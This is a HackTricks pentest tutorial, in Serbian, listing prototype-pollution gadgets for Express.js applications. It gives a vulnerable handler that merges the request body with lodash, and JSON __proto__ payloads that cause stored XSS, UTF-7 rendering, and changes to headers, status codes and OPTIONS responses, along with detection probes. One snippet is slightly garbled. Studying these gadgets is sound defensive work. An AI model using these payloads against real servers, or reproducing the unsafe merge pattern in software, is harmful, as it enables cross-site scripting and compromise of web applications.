Express Prototype Pollution Gadgets

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Serve XSS responses

Za više detalja pogledajte originalno istraživanje

Promenite JSON content-type u HTML

U Express aplikaciji koja koristi JSON content type odgovor i reflektuje JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

U ovim slučajevima XSS obično nije moguć sa JSON tipom sadržaja. Međutim, sa zagađenjem prototipa možemo zbuniti Express da vrati HTML odgovor. Ova ranjivost se oslanja na aplikaciju koja koristi res.send(obj) i koristi parser tela sa tipom sadržaja application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Zagađivanjem body i _body svojstava, moguće je izazvati da Express servira HTML tip sadržaja i reflektuje _body svojstvo, što rezultira pohranjenim XSS.

Render UTF7

Moguće je naterati express da renderuje UTF-7 sadržaj sa:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Tehnike bezbednog skeniranja

JSON razmaci

Sledeći PP će dodati dodatni razmak unutar atributa u JSON-u koji neće pokvariti funkcionalnost:

json
{ "__proto__": { "json spaces": " " } }

Tada će reflektovani JSON izgledati ovako:

json
{"foo":  "bar"} -- Note the extra space

Izloženi Headeri

Sledeći PP gadget će naterati server da pošalje HTTP header: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Zahteva da CORS modul bude instaliran

OPTIONS Metoda

Sa sledećim payload-om, moguće je sakriti metodu iz OPTIONS odgovora:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Moguće je promeniti vratni status kod koristeći sledeći PP payload:

json
{ "__proto__": { "status": 510 } }

Greška

Kada dodelite prototipu primitiv kao što je string, to proizvodi no-op operaciju jer prototip mora biti objekat. Ako pokušate da dodelite objekat prototipa samom Object.prototype, to će izazvati izuzetak. Možemo koristiti ova dva ponašanja da otkrijemo da li je zagađenje prototipa bilo uspešno:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Reflektovana Vrednost

Kada aplikacija uključuje objekat u svoj odgovor, kreiranje atributa sa neobičnim imenom pored __proto__ može biti korisno. Konkretno, ako samo neobični atribut bude vraćen u odgovoru, to može ukazivati na ranjivost aplikacije:

json
{ "unusualName": "value", "__proto__": "test" }

Pored toga, u scenarijima gde se koristi biblioteka kao što je Lodash, postavljanje svojstva kako putem zagađenja prototipa (PP) tako i direktno unutar objekta nudi još jedan dijagnostički pristup. Ako je takvo svojstvo izostavljeno iz odgovora, to sugeriše da Lodash proverava postojanje svojstva u ciljanom objektu pre nego što ga spoji:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Razno

Dozvoli tačke

Postoji opcija u Express-u koja vam omogućava da kreirate objekte iz parametara upita.
Definitivno je možete koristiti u lancu grešaka za iskorišćavanje ranjivosti zagađenja prototipa.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz kreira objekat u Node.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks